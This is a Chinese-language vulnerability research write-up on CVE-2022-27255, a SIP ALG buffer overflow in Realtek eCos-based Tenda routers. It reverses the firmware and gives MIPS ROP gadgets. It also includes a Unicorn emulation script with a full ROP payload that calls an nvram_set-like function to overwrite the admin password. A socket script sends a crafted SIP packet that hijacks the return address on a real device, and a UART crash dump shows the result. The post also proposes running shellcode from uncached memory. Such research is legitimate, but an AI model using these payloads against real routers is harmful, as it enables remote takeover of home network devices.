CVE-2022-27255 漏洞分析

cve-2022-27255复现

0x1 漏洞信息

https://www.cve.org/CVERecord?id=CVE-2022-27255

漏洞描述:

在基于 Realtek eCos SDK 的路由器上,“SIP ALG”模块容易受到缓冲区溢出的影响。漏洞的根本原因是对接收缓冲区的验证不足,以及调用 strcpy 的安全性不高。“SIP ALG”模块调用 strcpy,将部分 SIP 数据包内容复制到预定义的固定缓冲区,而不检查复制内容的长度。

远程攻击者可以通过 WAN 接口利用该漏洞,在 SDP 数据或 SIP 头部中构建参数,生成特定的 SIP 包,成功利用后会导致崩溃或实现远程代码执行。

本文用到的固件地址:

https://www.tenda.com.cn/download/3134

0x2 一些基础知识

(1)eCos

eCos (Embedded Configurable Operating System,嵌入式可配置操作系统)是一个实时操作系统。系统被静态链接成一个庞大的二进制文件(通常没有符号表),所有的库函数、驱动和业务逻辑都揉在一起。同时,在 eCos 中,内核、驱动程序和所有的应用程序都运行在同一个物理内存地址空间中。

大部分情况下,eCos并不支持ASLR,PIE等保护。

我们使用binwalk解包一个eCos的固件,往往只会得到一个较大的数据块,这个很大概率就是这台设备的主要固件主体,我们分析的就是这个块。

(2)SIP

想要详细了解可以看一看:

https://www.rfc-editor.org/rfc/rfc3261

SIP(Session Initiation Protocol,会话初始协议)是一个基于文本的、应用层控制协议。

每一个 SIP 报文都由三部分组成,彼此之间用CRLF( \r\n)分隔:

  1. 起始行(Start-Line)

    如果是客户端发给服务端的请求,叫 请求行(Request-Line)

    如果是服务端回应客户端的响应,叫 状态行(Status-Line)

    请求行示例:INVITE sip:bob@example.com SIP/2.0

    格式:方法名 + URI(接收方地址) + 协议版本

    常用方法:INVITE(发起呼叫)、ACK(确认)、BYE(挂断)、REGISTER(注册)。

  2. 头部字段(Headers):用于传递控制信息的键值对。

    • Via:记录消息传输路径,用于响应消息的返回

    • To:请求的接收者

    • From:请求的发送者,包含一个唯一标签

    • Call-ID:标识一个会话,全局唯一

    • CSeq:命令序列,包含序列号和方法,用于排序请求

    • Contact:提供发送者的实际联系地址

空行(CRLF):必须有一个单独的空行,用来隔离头部和具体的报文主体。

  1. 消息主体(Message Body):可选。在音视频通话中,这里承载的是 SDP(Session Description Protocol,会话描述协议),用于协商媒体流的 IP 和端口。

示例报文:

Text
INVITE sip:bob@192.168.1.100:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.50:5060;branch=z9hG4bK776asdhds
Max-Forwards: 70
To: Bob <sip:bob@192.168.1.100>
From: Alice <sip:alice@192.168.1.50>;tag=1928301774
Call-ID: a84b4c76e66710@192.168.1.50
CSeq: 314159 INVITE
Contact: <sip:alice@192.168.1.50:5060>
Content-Type: application/sdp
Content-Length: 141
v=0
o=alice 2890844526 2890844526 IN IP4 192.168.1.50
s=A Conversation
c=IN IP4 192.168.1.50
t=0 0
m=audio 49170 RTP/AVP 0
a=rtpmap:0 PCMU/8000

0x3 固件分析

直接binwalk -Me 可以看到如下的输出:

判断这是eCos,mips32位小端,异常向量表的地址为0x80000400。

把这个2834文件放入ghidra中,基址设置为0x80000000。

通过cve的报告可以看出,漏洞在解析SIP的头部和SDP数据的时候都会出现,所以通过字符串搜索SIP的头部,找到:

查看交叉引用就可以定位到漏洞函数了。

由于eCos把符号表都去了,并且ghidraFID也不能匹配函数签名,只能慢慢逆了。

这里先给出关键,非c库函数的分析:

Get_line:

在源字符串中查找一个特定的分隔标记DAT_80331dc4,如果找到,就把标记之前的子串复制到目标缓冲区 param_2中,并返回标记的位置偏移(即子串长度);若没找到则返回-1,且不修改 param_2。

这里DAT_80331dc4为\r\n,所以这个函数的作用就是获取SIP数据报里一行的内容,复制到param_2中。

convert_ip_to_32int:

从字符串里解析出 IP:port 形式的数据,把 IP的四个字节读出来,再拼成一个 32 位整数

函数主体:

这个函数是SIP消息解析与重写,核心功能是在 SIP 流量穿越 NAT时,动态修改 SIP 报头中的 IP 地址和端口号,并修正 Content-Length。

函数整体比较长,这里贴出部分逆向后代码:

C
undefined4
FUN_802ad9ac(undefined4 sip,int *struct_xxx,int param_3,uint *line_ptr,byte *line_sip_message,
              int invite_symbol,char *buffer)
{
    /*
     * line_ptr: 指向整个 SIP 原始报文缓冲区的指针。
     * line_sip_message: 用于存放当前提取出来的单行 SIP 文本的缓冲区。
     * buffer: 传入的新 SDP主体内容,用于重新计算 Content-Length。
     */
    char acStack_e4 [128];
    ......
    ......
    //省略初始化

LAB_802ada60:
    /* 获取\r\n前的一行数据 */
    line_string_len = get_line(line_ptr,line_sip_message);
    if (line_string_len == -1) {
        return 0;
    }

    /* 报文指针移动至下一行,+2是为了跳过行末的\r\n */
    line_ptr = line_ptr + line_string_len + 2;
    iVar6 = strncmp(line_sip_message,&DAT_80331da8,4);

    /* 成功匹配Via: */
    if (iVar6 == 0) {
        p_substring = strchr(line_sip_message,';');
        if (p_substring != NULL) {
            /* 溢出 */
            sprintf(acStack_e4,&DAT_802ccff8,p_substring,puVar9);
            puVar9 = &ip_int;
            convert_ip_to_32int(line_sip_message + 0x11,&ip_array_54,&local_3c,puVar9);
            ......
LAB_802adb50:
            sprintf(line_sip_message,s_Via:_SIP/2.0/UDP_%s:%d%s_80331cc8,uVar7,puVar9,acStack_e4);
        }
    }
    else {
        /* 匹配invite,subscribe,ack,bye。即匹配请求行 */
        iVar6 = strncmp(line_sip_message,s_INVITE_80331dbc,7);
        if ((((iVar6 == 0) ||
              (iVar6 = strncmp(line_sip_message,s_SUBSCRIBE_80331d7c,9), iVar6 == 0)) ||
              (iVar6 = strncmp(line_sip_message,&DAT_80331d78,3), iVar6 == 0)) ||
              (iVar6 = strncmp(line_sip_message,&DAT_80331d74,3), iVar6 == 0)) {
            p_substring = strchr(line_sip_message,'@');
            if ((p_substring != NULL) && (pcVar8 = strchr(p_substring,' '), pcVar8 != NULL)) {
                memset(acStack_e4,0,0x80);
                /* 溢出 */
                strcpy(acStack_e4,pcVar8);
                pcVar8 = p_substring + 1;
                puVar9 = &local_50;
                iVar6 = sscanf(pcVar8,s_%lu.%lu.%lu.%lu:%lu_80331ce4,&ip_array_54,puVar9);
                ......
            }
        }
        else {
            /* 匹配To: */
            iVar6 = strncmp(line_sip_message,&DAT_80331d98,3);
            if (iVar6 == 0) {
                p_substring = strchr(line_sip_message,'@');
                if ((p_substring != NULL) && (pcVar8 = strchr(p_substring,'>'), pcVar8 != NULL)) {
                    memset(acStack_e4,0,0x80);
                    strcpy(acStack_e4,pcVar8);
                    pcVar8 = p_substring + 1;
                    puVar9 = &local_50;
                    iVar6 = sscanf(pcVar8,s_%lu.%lu.%lu.%lu:%lu_80331ce4,&ip_array_54,puVar9);
                    ......
                }
            }
            else { /* 匹配Contact: */
                line_string_len = strncmp(line_sip_message,s_Contact:_80331d9c,8);
                ......
            }
        }
    }
    ......

LAB_802ae154:
    strcat(line_sip_message,-0x7fcce23c);
    line_string_len = strlen(line_sip_message);
    line_sip_message = line_sip_message + line_string_len;
    goto LAB_802ada60;
}

上面的代码本质是个while(1)循环读取头部的每一行,然后根据匹配到的不同字段执行对应的重写操作,只不过ghidra反编译出来比较难读。

可以看到,产生溢出的点还是很多的:

匹配via的时候有sprintf产生的溢出,匹配请求行和匹配To字段的时候都有strcpy的溢出。

但是后面利用的时候发现,这个sprintf函数有限制,大于0x7e的字节无法使用。

但是还不够,我们需要看看这个函数的上层调用来确定传入的数据格式。

查看交叉引用后找到:

C
undefined4 FUN_802ae1a0(byte *sip,int *param_2,undefined4 param_3,undefined4 param_4)
{
    line_sip_message = self_malloc(0x5dc,0x71,1,param_4);
    if (line_sip_message == NULL) {
        debug_printf(s_%s:%d_malloc_failed!_80331a20,0x80331d64,0x279,param_4);
        return 0xffffffff;
    }

    buf = self_malloc(0x5dc,0x71,1,param_4);
    if (buf == NULL) {
        debug_printf(s_%s:%d_malloc_failed!_80331a20,0x80331d64,0x27e,param_4);
        free(line_sip_message);
        return 0xffffffff;
    }

    memset(line_sip_message,0,0x5dc);
    pbVar7 = buf;
    memset(buf,0,0x5dc);
    iVar13 = (*sip & 0xf) * 4;
    iVar14 = iVar13 + 8;
    puVar12 = sip + iVar13;
    line_ptr = sip + iVar14;
    iVar14 = *(sip + 2) - iVar14;

    /* 端口号判断 */
    *(line_ptr + iVar14) = 0;
    if (((*puVar12 & 0xff) << 8 | *puVar12 >> 8) == 5060) {
        uVar11 = sip + 0x13 & 3;
        uVar9 = sip + 0x10 & 3;
        bVar5 = check((*(sip + 0x13 + -uVar11) << (3 - uVar11) * 8 |
                       pbVar7 & 0xffffffffU >> (uVar11 + 1) * 8) & -1 << (4 - uVar9) * 8 |
                       *(sip + 0x10 + -uVar9) >> uVar9 * 8);
        if (CONCAT31(extraout_var,bVar5) == 0) {
            bVar1 = *(puVar12 + 3);
            goto LAB_802ae2cc;
        }
        iVar13 = 2;
    }
    else {
        bVar1 = *(puVar12 + 3);

LAB_802ae2cc:
        if (((CONCAT11(bVar1,puVar12[1]) & 0xff) << 8 | bVar1) != 5060) goto LAB_802ae348;
        iVar13 = 1;
    }

    uVar11 = 0;
    if (*line_ptr != '\0') {
        iVar6 = strncmp(line_ptr,s_INVITE_80331dbc,7);
        uVar11 = iVar6 == 0;
    }

    pbVar7 = strstr(line_ptr,s_NT:_%s:1_USN:_uuid:%s::%s:1_802dd544 + 0x1c);
    if (pbVar7 != NULL) {
        pbVar7[2] = 0;
        if (pbVar7[8] != 0) {
            FUN_802ad540(sip,param_2,iVar13,pbVar7 + 4,buf,uVar11);
        }
        puVar10 = line_ptr;
        FUN_802ad9ac(sip,param_2,iVar13,line_ptr,line_sip_message,uVar11,buf);
        strcat(line_sip_message,-0x7fcce23c);
        memset(line_ptr,0,iVar14);
        ......
    }
}

注意到我们想要调用FUN_802ad9ac这个函数需要通过以下检查:

观察这一段代码:

C
iVar13 = (*sip & 0xf) * 4; \\计算 IPv4报文头部长度,通常为20字节
iVar14 = iVar13 + 8; \\UDP 头部大小是8 个字节
puVar12 = sip + iVar13; \\定位传输层 UDP 头部
line_ptr = sip + iVar14; \\定位应用层 SIP 数据
iVar14 = *(sip + 2) - iVar14; \\计算sip的长度
*(line_ptr + iVar14) = 0;
if (((*puVar12 & 0xff) << 8 | *puVar12 >> 8) == 5060) \\端口检查

sip 指针指向的是一个完整的网络数据包(包含 IPv4 头部 + UDP 头部 + SIP 负载)。所以这也是我们需要伪造的。

同时也发现了FUN_802ad540这个函数,这个函数是用于匹配改写主体消息部分的,这里面也有很多可以溢出的地方,官方的poc就是利用这个地方的。我利用的是上面的头部字段的溢出,所以这里就不再列出这个函数的分析了。

0x4 漏洞利用

eCos的固件利用不像linux那样去执行system或者命令拼接,需要使用其他办法。一般就是利用固件自带的功能,开启一些远程管理功能或者修改密码之类的。

官方的poc最后利用的是ROP开启路由器上的telnet加上一个硬编码的telnet,可惜的是我这台似乎没有telnet,但是有一个远程管理功能,可以从这里入手。需要注意的是,这个固件并没有硬编码的密码,所以还需要一些修改密码的手段。

那么我们得先找到在溢出后控制程序执行流的方法。

首先对于漏洞函数,有这样的尾声:

有许多我们可以以控制的寄存器,我们可以把这些寄存器当作跳板去控制其他寄存器。

经过一番寻找,找到了这样几个有良好性质的gadget,可以帮我们连续控制并且设置a0和a1两个寄存器(a2寄存器实在不太好找到可以很好控制的,这里就先只用两个参数了):

Asm
Gadget1:
0x80130150: lw $t8, 0x20($sp); sw $t8, ($s0); lw $ra, 0x2c($sp); lw $s0, 0x28($sp); jr $ra; addiu $sp, $sp, 0x30;
Gadget2:
0x800aa774: lw $a1, 0x1c($sp); move $v0, $zero; lw $ra, 0x24($sp); lw $s0, 0x20($sp); jr $ra; addiu $sp, $sp, 0x28;
Gadget3:
0x80145a4c: jalr $t8; move $a0, $s0; lw $ra, 0x1c($sp); lw $s0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x20;

参考这几个gadget和函数尾声,我们可以构建这样一个利用链:

Gadget1(设置跳转的函数)->gadget2(设置a1的值并设置s0的值)->gadget3(利用mips延迟槽将a0设置为s0的值,同时执行gadget1中设置的函数)->需要执行的函数->gadget3(回到gadget3并且可以继续跳转到其他函数以控制程序执行流)

需要注意gadget1中sw $t8, ($s0);会访问s0指向的地址,所以需要在尾声中将s0设置为一个合法可访问的地址。

构造完成后栈帧应该是这样(图中的SP是刚执行完函数尾声的状态):

这样就算构造完成了。同时注意到gadget3是可以重设s0,这意味着我们可以在NEXT_JUMP_ADDR处再填上gadget1然后再重复执行这个流程,可以自行试一试,这里就不展开这个流程了。

在经过一番寻找后,找到了这个函数:

这是一个类似于nvram_set的函数。如果是修改密码,这个函数还需要配合上 nvram_commit这个函数,不然无法持久化存储。

之后对passwd进行一番查找,最后找到了这个:

这个应该就是登录后修改密码的函数,http_passwd就是对应的真实密码在nvram中的键名。

那么我们就可以调用上面的,做一个例如:nvram_set(“http_passwd”, “deadbeef”)
直接修改密码试一试了。

0x5 固件仿真

我没有找到很好的可以完全仿真eCos的方案,这里使用的是unicorn进行的部分函数的仿真。这里贴出一篇很好的教程,感兴趣的可以看一看:

https://skyi23.github.io/2025/08/19/Unicorn%20%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/

具体偏移量的计算也可以在仿真里添加GDB进行,这里就不再赘述了。

简单解释一下下面的仿真代码:

将固件二进制加载到 0x80000000(MIPS kseg0 基址),并手动划分出栈空间(0x83000000)、payload 存放区(0x84000000)、伪堆空间(0x85000000)等区域,模拟固件运行时的地址空间。

仿真将会从FUN_802ae1a0这个函数开始,而漏洞函数也会在这个函数内被执行。同时也需要把进入函数时的四个参数和部分寄存器设置好。这里的a0就设置为payload存放的区域就好,a1则需要传入一个可访问的地址用于伪造一个结构体。a2与a3置0即可。

由于内部会调用一些类似于malloc和free的函数,依赖于实际的硬件和 RTOS 内核,无法在 Unicorn 中真正执行。因此通过 UC_HOOK_CODE 在这些函数的入口地址设置钩子,当 CPU 执行到这些地址时,Unicorn 会转而执行 Python 中对应的 hook 函数。

也可以设置环境变量 POC_GDB=1 启动 udbserver,允许用 GDB 远程连接进行调试,这里就可以调试出偏移量了。

仿真代码:

Python
from unicorn import (

Uc,

UcError,

UC_ARCH_MIPS,

UC_HOOK_CODE,

UC_MODE_LITTLE_ENDIAN,

UC_MODE_MIPS32,

)
from unicorn.mips_const import (

UC_MIPS_REG_A0,

UC_MIPS_REG_A1,

UC_MIPS_REG_A2,

UC_MIPS_REG_A3,

UC_MIPS_REG_GP,

UC_MIPS_REG_PC,

UC_MIPS_REG_RA,

UC_MIPS_REG_SP,

UC_MIPS_REG_V0,

)
from pwn import context, p32
import struct
import os
import udbserver
context.clear(arch="mips", bits=32, endian="little")

# --- 内存布局配置 ---

BASE_ADDR = 0x80000000 # 固件代码基址
TOTAL_SIZE = 128 * 1024 * 1024 # 映射 128MB 覆盖 0x80000000 - 0x88000000
STACK_ADDR = 0x83000000 # 栈空间
STACK_SIZE = 0x100000 # 1MB
PAYLOAD_ADDR = 0x84000000 # 存放恶意 SIP 报文
STRUCT_ADDR = 0x84100000 # 伪造的 param_2 (struct_xxx) 地址
HEAP_ADDR = 0x85000000 # "假堆" 起始地址
SOCKADDR_ADDR = 0x83101010
PASSWORD_VALUE_ADDR = 0x83103131

# --- 函数地址配置 ---

FUNC_START = 0x802ae1a0 # 目标函数入口 (处理 SIP 的入口)
FUNC_END = 0x802ae568 # 目标函数结束
MALLOC_ADDR = 0x80237aa0 # self_malloc 的起始地址
FREE_ADDR = 0x80237b70
NVRAM_SET_ADDR = 0x80042244
GP_VALUE = 0x8047d290 # 全局指针寄存器值
USE_GDB = os.environ.get("POC_GDB", "0") == "1"

# --- 假堆状态 ---

current_heap_ptr = HEAP_ADDR

# --- 构造符合固件格式的 SIP 报文 ---

target_func = NVRAM_SET_ADDR
a1 = PASSWORD_VALUE_ADDR
a0 = 0x802d08b4
stack = b'a'*180 + p32(SOCKADDR_ADDR) + b'1111' + b'2222'+ b'3333' + b'4444' + b'5555' + b'6666' + b'7777' + b'fpfp'
stack += p32(0x80130150) + b'aaaa'*8 + p32(target_func) + b'aaaa' + b'ssss' + p32(0x800aa774)
stack += b'aaaa'*7 + p32(a1) + p32(a0) + p32(0x80145a4c)
stack += b'aaaa'*6 + b'ssss' + p32(0xffffffff)
sip_text = (

b"INVITE sip:admin@192.168.1.100 SIP/2.0" + stack + b"\r\n\r\n\x00"

b"Via: SIP/2.0/UDP 192.168.0.1:5060;branch=" + b'1234' + b'567\x50' + b"\r\n"

b"Content-Length: 0\r\n"

b"\r\n" # \r\n\r\n 极其重要,代码中的 strstr 靠这个定位

)

# 1. 构造 IPv4 头部 (20 Bytes)

ip_total_len = 20 + 8 + len(sip_text)
ip_hdr = bytearray(20)

ip_hdr[0] = 0x45 # Version=4, IHL=5 (5*4=20字节)

ip_hdr[1] = 0x00 # TOS

ip_hdr[2:4] = struct.pack('>H', ip_total_len) # Total Length (很重要,代码中用它算字符串结尾)

# 后面的 IP ID, TTL, Checksum, Source IP, Dest IP 对于这段 ALG 代码来说并不查验,可以直接留 0

# 2. 构造 UDP 头部 (8 Bytes)

udp_hdr = bytearray(8)
udp_hdr[0:2] = struct.pack('>H', 5060) # Source Port: 5060
udp_hdr[2:4] = struct.pack('>H', 5060) # Dest Port: 5060
udp_hdr[4:6] = struct.pack('>H', 8 + len(sip_text)) # UDP Length

# Checksum (留 0)

# 3. 组装Payload

payload = bytes(ip_hdr) + bytes(udp_hdr) + sip_text
def read_cstr(uc, addr, limit=0x400):
out = bytearray()
for i in range(limit):
b = uc.mem_read(addr + i, 1)
if b == b"\x00":

break

out += b
return bytes(out)
def skip_function(uc, ret=0):
uc.reg_write(UC_MIPS_REG_V0, ret & 0xffffffff)
uc.reg_write(UC_MIPS_REG_PC, uc.reg_read(UC_MIPS_REG_RA))
def hook_malloc(uc, address, size, user_data):

global current_heap_ptr

alloc_size = uc.reg_read(UC_MIPS_REG_A0)
if alloc_size == 0:
alloc_size = 0x600
magic = 0x0d530d53
chunk_base = current_heap_ptr
uc.mem_write(chunk_base, struct.pack("<III", magic, magic, alloc_size))
ret_ptr = chunk_base + 12
uc.reg_write(UC_MIPS_REG_V0, ret_ptr)
print(f"[Hook] 已架空 self_malloc: 申请 {hex(alloc_size)}, 返回地址 {hex(ret_ptr)}")
current_heap_ptr += (alloc_size + 64) & ~0xF
return_addr = uc.reg_read(UC_MIPS_REG_RA)
uc.reg_write(UC_MIPS_REG_PC, return_addr)
def hook_free(uc, address, size, user_data):
ptr = uc.reg_read(UC_MIPS_REG_A0)
print(f"[Hook] 已架空 free: 拦截到尝试释放指针 {hex(ptr)}")
ra = uc.reg_read(UC_MIPS_REG_RA)
uc.reg_write(UC_MIPS_REG_PC, ra)
def hook_nvram_set(uc, address, size, user_data):
key_addr = uc.reg_read(UC_MIPS_REG_A0)
value_addr = uc.reg_read(UC_MIPS_REG_A1)
key = read_cstr(uc, key_addr).decode("latin-1", errors="replace")
value = read_cstr(uc, value_addr).decode("latin-1", errors="replace")
print(f"[Hook] nvram_set({key!r}, {value!r})")
skip_function(uc, 0)
def test_mips():
print(payload)

try:

mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN)

# 映射大块内存

mu.mem_map(BASE_ADDR, TOTAL_SIZE)
bin_path = "2834"
if not os.path.exists(bin_path):
print(f"错误: 找不到文件 {bin_path}")
return
with open(bin_path, "rb") as f:
CODE = f.read()
mu.mem_write(BASE_ADDR, CODE)
mu.mem_write(PAYLOAD_ADDR, payload)
mu.mem_write(STRUCT_ADDR, b"\x00" * 0x1000)
mu.mem_write(PASSWORD_VALUE_ADDR, b"deadbeef\x00")
mu.reg_write(UC_MIPS_REG_SP, STACK_ADDR + STACK_SIZE - 0x40)
mu.reg_write(UC_MIPS_REG_GP, GP_VALUE)
mu.reg_write(UC_MIPS_REG_A0, PAYLOAD_ADDR)
mu.reg_write(UC_MIPS_REG_A1, STRUCT_ADDR)
mu.reg_write(UC_MIPS_REG_A2, 0)
mu.reg_write(UC_MIPS_REG_A3, 0)

# 挂载各种 Hook

mu.hook_add(UC_HOOK_CODE, hook_malloc, begin=MALLOC_ADDR, end=MALLOC_ADDR)
if FREE_ADDR != 0:
mu.hook_add(UC_HOOK_CODE, hook_free, begin=FREE_ADDR, end=FREE_ADDR)
mu.hook_add(UC_HOOK_CODE, hook_nvram_set, begin=NVRAM_SET_ADDR, end=NVRAM_SET_ADDR)
if USE_GDB:
GDB_PORT = 1234
mu.reg_write(UC_MIPS_REG_PC, FUNC_START)
print(f"--- 启动 udbserver,请使用 GDB 附加: target remote 127.0.0.1:{GDB_PORT} ---")

try:

udbserver.udbserver(mu, GDB_PORT)

except AttributeError:

server = udbserver.UdbServer(mu)
server.bind(GDB_PORT)
server.start()
mu.emu_start(FUNC_START, FUNC_END)
print(payload)
print("--- 模拟正常结束 ---")

except UcError as e:

print(f"Unicorn 错误: {e}")
pc = mu.reg_read(UC_MIPS_REG_PC)
ra = mu.reg_read(UC_MIPS_REG_RA)
print(f"崩溃时的 PC 地址: 0x{pc:x}")
print(f"崩溃时的 RA 地址: 0x{ra:x}")
if __name__ == '__main__':
test_mips()

成功执行。

而开启远程管理本质上也有三个对应的键值对用于远程管理的ip,端口和开启状态,最后再加上一个函数的调用,这里就不再贴出了。

到这里,基本上就完成了整个仿真测试的过程。

0x6 结束了…吗?

MIPS_mem_map

请看这张MIPS 32架构的虚拟地址空间/内存映射图。

在linux下,用户数据和代码在Kuseg段,而kseg0和kesg1是对同一个内核物理地址的两个不同映射(例如0x80010000和0xa0010000实际上都是对0x00010000的映射),只不过kseg0是cache的而kesg1是uncache的。Linux下,在kuseg中的用户数据是无法直接访问kseg0和kseg1的,并且这个段存在缓存不一致的问题。

但是在eCos下,情况变得不一样了: eCos 线程 / task / 应用模块和 eCos 内核一起被链接进同一个裸机镜像,启动后直接在 MIPS kernel mode 里运行。也就是说,这里用户态的数据实际上是运行在kseg0中的。这就说明用户线程是可以访问kseg1的。

这有什么用呢?

在我们利用mips写shellcode的时候,最头疼的事情就是缓存一致性,我们需要调用例如sleep的函数来刷新缓存,以确保shellcode写入I-cache里,而kuseg和kseg0都是这样的。

但是注意到,kseg1是uncache的,这就很有意思了。这意味着在kseg1中写入的东西会立即进入I-cache中。

所以不免会有这样一个想法:能不能想办法把shellcode写入kseg1所在的区域内,然后就可以直接跳过去执行而不用考虑缓存一致性?

看看这个eCos固件:

用户进程直接运行在kseg0上,意味着可以直接访问kseg1;

没有ASLR和PIE,意味着连栈的地址都是固定的;

作为一个老版本的mips甚至没有NX;

同时找不到一个很好的片段用于刷新缓存。

再看看上面的三个magic gadget,不由得产生一个这样的思路:可以控制两个寄存器,所以控制执行的目标函数设置为strcpy,然后根据调试结果拿到栈地址,在栈上写好shellcode后使用strcpy把这个在kseg0区域的数据复制到对应的kseg1区域,然后利用gadget3最后的跳转再次跳转到该kseg1区域去执行shellcode。

我很想试试这个方法在这台路由器上是否是可行的。但是可惜unicorn无法模拟mips的缓存不一致问题,所以我买来了一台真机进行尝试。

0x7 真机调试

29f8d0cc2ea83cee5208801bdbd0aef7

拆开后发现还有UART口,万用表测试后找到GND,RXD,波特率为38400,FLASH型号为BH25D16,看一下CLI:

连上网线后访问192.168.0.1即可登录后台,用户名和密码默认都是admin:

但是这台机子的固件版本是v2.0的,并且无法升级到v3.0,只能重新用编程夹提取一下固件然后重新逆一下。所幸总体的逻辑基本上没有变化,只是变了函数的地址,所以这里就不再给出逆向过程,这个版本的固件也可以下载到:

https://www.tenda.com.cn/download/2853

由于我们需要触发的是 SIP ALG/NAT 处理逻辑,所以不能直接打路由器,而是从 PC 发往上级路由器的192.168.1.1:5060,让流量经过 Tenda 的 LAN -> WAN 转发路径。

所以需要搭建一个这样的网络拓扑:

搭建好后,同时连接着UART口看看有没有奔溃时的信息可以让我们得到栈地址。偏移量可以从unicorn中调试出来,这里先用一个最小化的触发的poc:

Python
#!/usr/bin/env python3
import socket
import struct
import sys

DST_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
DST_PORT = 5060
SRC_PORT = 5060

def p32(x):
    return struct.pack("<I", x & 0xffffffff)

SIP_HEADER_END = b"\r\n\r\n"
ROP_SCRATCH_ADDR = 0x83101010

def build_overflow_stack():
    stack = b"a" * 180
    stack += p32(ROP_SCRATCH_ADDR)
    stack += b"1111"
    stack += b"2222"
    stack += b"3333"
    stack += b"4444"
    stack += b"5555"
    stack += b"6666"
    stack += b"7777"
    stack += b"fpfp"
    stack += p32(0x41414141)
    stack += SIP_HEADER_END
    return stack

overflow = build_overflow_stack()
sip = (
    b"INVITE sip:admin@192.168.1.100 SIP/2.0" + overflow + b"\r\n"
    b"Via: SIP/2.0/UDP 192.168.0.100:5060;branch=1234567P\r\n"
    b"Content-Length: 0\r\n"
    b"\r\n"
)

print(f"target: {DST_IP}:{DST_PORT}")
print(f"payload length: {len(sip)}")
print(f"stack length: {len(overflow)}")
print("expected: only trigger stack overflow / crash, no gadget or shellcode call")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", SRC_PORT))
s.sendto(sip, (DST_IP, DST_PORT))
s.close()
print("sent")

触发崩溃:

Text
ExcCode: 2 TLBL
zero at v0 v1
$00 : 00000000 80000000 00000000 00000000
a0 a1 a2 a3
$04 : 81aea914 8027c5d4 0000000a 00000064
t0 t1 t2 t3
$08 : 81db1608 00000064 00000037 00000005
t4 t5 t6 t7
$12 : ffffffdf ffffffff f422c580 003a7862
s0 s1 s2 s3
$16 : 83101010 31313131 32323232 33333333
s4 s5 s6 s7
$20 : 34343434 35353535 36363636 37373737
t8 t9 k0 k1
$24 : ffffffff 800da870
gp sp fp ra
$28 : 804430f0 81db2010 70667066 41414141
Hi : 00000005
Lo : 19999999
epc : 41414141
ra : 41414141
Status: 10000403 KERNEL EXL IE
Cause : 50000008
BadVA : 41414140
PrId : 00019385
Stack : 6400a800 00000001 00000011 80219c0c 81aea810 00000001 81aea220 00000002
809776d0 809776e4 81aeae10 000021dc 0201a8c0 00000000 0000ffff 00000001
81734700 8022bc4c 81dc2514 8039ba44 00000001 000021dc 00000011 00000001
0201a8c0 0000c413 0201a8c0 801d13a8 809776d0 81734700 00000000 000021dc
00000000 81db92e8 81734700 00000001 81734700 8021fcd8 00000014 809776d0
Call stack:
ExcCode: 2 TLBL
zero at v0 v1
$00 : 00000000 80000000 00000000 00000000
a0 a1 a2 a3
$04 : 00000001 fffff800 00000001 ffffff00
t0 t1 t2 t3
$08 : 0000001b 00006300 0000f000 00000004
t4 t5 t6 t7
$12 : 00000002 00006200 00001800 000027bd
s0 s1 s2 s3
$16 : ffffffff 41414141 00000000 00000000
s4 s5 s6 s7
$20 : 80000948 00000000 00000000 81db2010
t8 t9 k0 k1
$24 : 00000001 000023bd
gp sp fp ra
$28 : 804430f0 81db1dc0 41414141 00001001
Hi : 00004000
Lo : 00000000
epc : 8000b1f0
ra : 00001001
Status: 10000402 KERNEL EXL
Cause : c0000408
BadVA : 41414140
PrId : 00019385
Stack : 81db1ec0 41414141 00000000 0000000d 80263c8c 8000b440 801d2b4c 00000030
81db1ec0 00000000 00000001 80270000 80263c8c 80230000 36363636 37373737
70667066 8000b8d8 36363636 00019385 00000030 00000000 81db1ec0 81db1ec0
80237780 33333333 34343434 35353535 36363636 8000bd40 00000008 00000020
00000020 00000000 81db1ec0 31313131 32323232 801d2e40 8039bbc4 00000001
Call stack:
SP: 0x81db1dc0, RA Offset: 68, Ret Address: 0x8000b1f0, Func Address: 0x8000b0bc
SP: 0x81db1e08, RA Offset: 44, Ret Address: 0x8000b8d8, Func Address: 0x8000b5d4
SP: 0x81db1e38, RA Offset: 28, Ret Address: 0x8000bd40, Func Address: 0x8000ba5c
SP: 0x81db1e58, RA Offset: 20, Ret Address: 0x801d2e40, Func Address: 0x801d2e2c
SP: 0x81db1e70, RA Offset: 20, Ret Address: 0x801d302c, Func Address: 0x801d300c
SP: 0x81db1e88, RA Offset: 20, Ret Address: 0x801c8738, Func Address: 0x801c8720
Code: 2631fffc 08002c71 00109023 <57000019> 9638ffff 3c048023 03c02821 0c0744cc 24846f88
--------- [Network support] get exception !! ---------
ptr:0x81db21f0 base 0x81dae3b0 size:16384
limit:0x81db23b0
--------- map symbol only ---------
[<00000000>] [<81db22d0>] [<81db2250>] [<804b0000>] [<80262008>] [<0000006a>] [<81b3adf0>] [<800f928c>]
[<801d335c>] [<00000000>] [<81dc24f4>] [<8039ba44>] [<00000006>] [<800d7504>] [<00000165>] [<800d935c>]
[<00000001>] [<00000014>] [<00000000>] [<8039bbc4>] [<0101a8c0>] [<0000016e>] [<6400a8c0>] [<00000001>]
[<000013c4>] [<000013c4>] [<809776c2>] [<81d9a2d0>] [<81e10000>] [<81e10000>] [<00000014>] [<00000000>]
[<00000000>] [<00100000>] [<00000000>] [<00000020>] [<00000001>] [<801f2a50>] [<80430000>] [<00000014>]
[<00000004>] [<81db22c4>] [<81db2300>] [<81db22bc>] [<8043b3f4>] [<801d4e4c>] [<00100000>] [<00000000>]
[<00000020>] [<801d18fc>] [<00000003>] [<81b2e5f0>] [<809776d0>] [<81db0000>] [<00000008>] [<00100000>]
[<00000000>] [<00000020>] [<81734700>] [<81e10000>] [<8043b36c>] [<80904214>] [<00100000>] [<00000000>]
[<00000020>] [<00000001>] [<81db2370>] [<801f33e0>] [<81734700>] [<801e3048>] [<00100000>] [<00000002>]
[<00000004>] [<00000003>] [<00000004>] [<801e1a54>] [<11110016>] [<801d18fc>] [<1111001a>] [<1111001b>]
[<1111001c>] [<81dae2b8>] [<11110011>] [<11110012>] [<11110013>] [<11110014>] [<11110015>] [<11110016>]
